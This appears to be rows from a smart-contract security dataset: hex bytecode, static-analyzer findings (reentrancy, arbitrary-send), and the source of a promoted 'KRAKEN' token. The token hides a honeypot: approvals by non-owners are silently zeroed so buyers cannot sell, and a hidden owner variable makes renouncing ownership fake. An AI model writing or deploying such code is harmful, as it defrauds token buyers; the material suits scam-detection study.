050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561131d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131490613049565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561138d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138490612f69565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161146b91906130a9565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114df90613029565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611558576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154f90612f29565b60405180910390fd5b6000811161159b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159290613009565b60405180910390fd5b6115a3610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161157506115e1610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7457600f60179054906101000a900460ff1615611844573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561169357503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116ed5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117475750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561184357600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661178d6112a5565b73ffffffffffffffffffffffffffffffffffffffff1614806118035750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117eb6112a5565b73ffffffffffffffffffffffffffffffffffffffff16145b611842576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183990613089565b60405180910390fd5b5b5b60105481111561185357600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f75750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61190057600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119ab5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611a015750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a195750600f60179054906101000a900460ff165b15611aba5742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6957600080fd5b603c42611a7691906131df565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac530610783565b9050600f60159054906101000a900460ff16158015611b325750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b4a5750600f60169054906101000a900460ff165b15611b7257611b5881611e2a565b60004790506000811115611b7057611b6f47611c9b565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c1b5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2557600090505b611c31848484846121e9565b50505050565b6000838311158290611c7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c769190612f07565b60405180910390fd5b5060008385611c8e91906132c0565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cfe600a611cf060048661212490919063ffffffff16565b61219f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d29573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d8d600a611d7f60068661212490919063ffffffff16565b61219f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611db8573d6000803e3d6000fd5b5050565b6000600654821115611e03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dfa90612f49565b60405180910390fd5b6000611e0d612216565b9050611e22818461219f90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e88577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611eb65781602001602082028036833780820191505090505b5090503081600081518110611ef4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f9657600080fd5b505afa158015611faa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fce9190612976565b81600181518110612008577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061206f30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112ad565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120d39594939291906130c4565b600060405180830381600087803b1580156120ed57600080fd5b505af1158015612101573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156121375760009050612199565b600082846121459190613266565b90508284826121549190613235565b14612194576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218b90612fc9565b60405180910390fd5b809150505b92915050565b60006121e183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612241565b905092915050565b806121f7576121f66122a4565b5b6122028484846122d5565b806122105761220f6124a0565b5b50505050565b60008060006122236124b2565b9150915061223a818361219f90919063ffffffff16565b9250505090565b60008083118290612288576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227f9190612f07565b60405180910390fd5b50600083856122979190613235565b9050809150509392505050565b60006008541480156122b857506000600954145b156122c2576122d3565b600060088190555060006009819055505b565b6000806000806000806122e787612514565b95509550955095509550955061234586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257b90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123da85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061242681612623565b61243084836126e0565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161248d91906130a9565b60405180910390a3505050505050505050565b60026008819055506003600981905550565b60008060006006549050600068056bc75e2d6310000090506124e868056bc75e2d6310000060065461219f90919063ffffffff16565b8210156125075760065468056bc75e2d63100000935093505050612510565b81819350935050505b9091565b60008060008060008060008060006125308a600854600c61271a565b9250925092506000612540612216565b905060008060006125538e8787876127b0565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006125bd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c37565b905092915050565b60008082846125d491906131df565b905083811015612619576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161261090612f89565b60405180910390fd5b8091505092915050565b600061262d612216565b90506000612644828461212490919063ffffffff16565b905061269881600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126f58260065461257b90919063ffffffff16565b600681905550612710816007546125c590919063ffffffff16565b6007819055505050565b6000806000806127466064612738888a61212490919063ffffffff16565b61219f90919063ffffffff16565b905060006127706064612762888b61212490919063ffffffff16565b61219f90919063ffffffff16565b905060006127998261278b858c61257b90919063ffffffff16565b61257b90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127c9858961212490919063ffffffff16565b905060006127e0868961212490919063ffffffff16565b905060006127f7878961212490919063ffffffff16565b9050600061282082612812858761257b90919063ffffffff16565b61257b90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061284c6128478461315e565b613139565b9050808382526020820190508285602086028201111561286b57600080fd5b60005b8581101561289b578161288188826128a5565b84526020840193506020830192505060018101905061286e565b5050509392505050565b6000813590506128b48161379c565b92915050565b6000815190506128c98161379c565b92915050565b600082601f8301126128e057600080fd5b81356128f0848260208601612839565b91505092915050565b600081359050612908816137b3565b92915050565b60008151905061291d816137b3565b92915050565b600081359050612932816137ca565b92915050565b600081519050612947816137ca565b92915050565b60006020828403121561295f57600080fd5b600061296d848285016128a5565b91505092915050565b60006020828403121561298857600080fd5b6000612996848285016128ba565b91505092915050565b600080604083850312156129b257600080fd5b60006129c0858286016128a5565b92505060206129d1858286016128a5565b9150509250929050565b6000806000606084860312156129f057600080fd5b60006129fe868287016128a5565b9350506020612a0f868287016128a5565b9250506040612a2086828701612923565b9150509250925092565b60008060408385031215612a3d57600080fd5b6000612a4b858286016128a5565b9250506020612a5c85828601612923565b9150509250929050565b600060208284031215612a7857600080fd5b600082013567ffffffffffffffff811115612a9257600080fd5b612a9e848285016128cf565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128f9565b91505092915050565b600060208284031215612ae257600080fd5b6000612af08482850161290e565b91505092915050565b600060208284031215612b0b57600080fd5b6000612b1984828501612923565b91505092915050565b600080600060608486031215612b3757600080fd5b6000612b4586828701612938565b9350506020612b5686828701612938565b9250506040612b6786828701612938565b9150509250925092565b6000612b7d8383612b89565b60208301905092915050565b612b92816132f4565b82525050565b612ba1816132f4565b82525050565b6000612bb28261319a565b612bbc81856131bd565b9350612bc78361318a565b8060005b83811015612bf8578151612bdf8882612b71565b9750612bea836131b0565b925050600181019050612bcb565b5085935050505092915050565b612c0e81613306565b82525050565b612c1d81613349565b82525050565b6000612c2e826131a5565b612c3881856131ce565b9350612c4881856020860161335b565b612c5181613495565b840191505092915050565b6000612c696023836131ce565b9150612c74826134a6565b604082019050919050565b6000612c8c602a836131ce565b9150612c97826134f5565b604082019050919050565b6000612caf6022836131ce565b9150612cba82613544565b604082019050919050565b6000612cd2601b836131ce565b9150612cdd82613593565b602082019050919050565b6000612cf5601d836131ce565b9150612d00826135bc565b602082019050919050565b6000612d186021836131ce565b9150612d23826135e5565b604082019050919050565b6000612d3b6020836131ce565b9150612d4682613634565b602082019050919050565b6000612d5e6029836131ce565b9150612d698261365d565b604082019050919050565b6000612d816025836131ce565b9150612d8c826136ac565b604082019050919050565b6000612da46024836131ce565b9150612daf826136fb565b604082019050919050565b6000612dc76017836131ce565b9150612dd28261374a565b602082019050919050565b6000612dea6011836131ce565b9150612df582613773565b602082019050919050565b612e0981613332565b82525050565b612e188161333c565b82525050565b6000602082019050612e336000830184612b98565b92915050565b6000604082019050612e4e6000830185612b98565b612e5b6020830184612b98565b9392505050565b6000604082019050612e776000830185612b98565b612e846020830184612e00565b9392505050565b600060c082019050612ea06000830189612b98565b612ead6020830188612e00565b612eba6040830187612c14565b612ec76060830186612c14565b612ed46080830185612b98565b612ee160a0830184612e00565b979650505050505050565b6000602082019050612f016000830184612c05565b92915050565b60006020820190508181036000830152612f218184612c23565b905092915050565b60006020820190508181036000830152612f4281612c5c565b9050919050565b60006020820190508181036000830152612f6281612c7f565b9050919050565b60006020820190508181036000830152612f8281612ca2565b9050919050565b60006020820190508181036000830152612fa281612cc5565b9050919050565b60006020820190508181036000830152612fc281612ce8565b9050919050565b60006020820190508181036000830152612fe281612d0b565b9050919050565b6000602082019050818103600083015261300281612d2e565b9050919050565b6000602082019050818103600083015261302281612d51565b9050919050565b6000602082019050818103600083015261304281612d74565b9050919050565b6000602082019050818103600083015261306281612d97565b9050919050565b6000602082019050818103600083015261308281612dba565b9050919050565b600060208201905081810360008301526130a281612ddd565b9050919050565b60006020820190506130be6000830184612e00565b92915050565b600060a0820190506130d96000830188612e00565b6130e66020830187612c14565b81810360408301526130f88186612ba7565b90506131076060830185612b98565b6131146080830184612e00565b9695505050505050565b60006020820190506131336000830184612e0f565b92915050565b6000613143613154565b905061314f828261338e565b919050565b6000604051905090565b600067ffffffffffffffff82111561317957613178613466565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131ea82613332565b91506131f583613332565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561322a57613229613408565b5b828201905092915050565b600061324082613332565b915061324b83613332565b92508261325b5761325a613437565b5b828204905092915050565b600061327182613332565b915061327c83613332565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132b5576132b4613408565b5b828202905092915050565b60006132cb82613332565b91506132d683613332565b9250828210156132e9576132e8613408565b5b828203905092915050565b60006132ff82613312565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061335482613332565b9050919050565b60005b8381101561337957808201518184015260208101905061335e565b83811115613388576000848401525b50505050565b61339782613495565b810181811067ffffffffffffffff821117156133b6576133b5613466565b5b80604052505050565b60006133ca82613332565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133fd576133fc613408565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6137a5816132f4565b81146137b057600080fd5b50565b6137bc81613306565b81146137c757600080fd5b50565b6137d381613332565b81146137de57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207d4ec05f18e47488dc0624c2a32e3640fa2f8c05e4ac622ece09b2b3a542ccf664736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,249 |
0xff629784dc4579fa8748114406186e2ec5b744e6
|
/*
KRAKEN by VP 🏴☠️
The Kraken is a legendary monster of colossal proportions that originates from Nordic folklore. Striking fear into the hearts of every sailor, the Kraken's tentacles wield enough power to pull entire ships underwater, leaving the crew to either drown or to be its next meal.
Rumor has it that the Kraken is guarding immense riches from its previous victims.
Will we suffer the same fate...or will we lay claim to what the beast has stolen?
🚨ERC-20
☠️ Fair launch
☠️ MASSIVE launch lottery that continues daily
☠️ Secret giveaways!
☠️ 7% distribution
☠️ Manual (announced) buybacks!
☠️ MONSTROUS Buyback Wallet
☠️ Huge marketing push!
And unlike other tokens, there is an actual endgame for KRAKEN! Yes, KRAKEN by VP has a defined lifespan and rewards those that have held until the end!!
💰 Telegram: t.me/KRAKENbyVP
💰 Twitter: twitter.com/Veritas_VP
💰 Website: veritasprojects.io/kraken
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract KRAKEN is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000 * 10**9 * 10**18;
string private _name = 'KRAKEN ';
string private _symbol = 'KRAKEN 🐙 ';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273fffffffffffffffffffff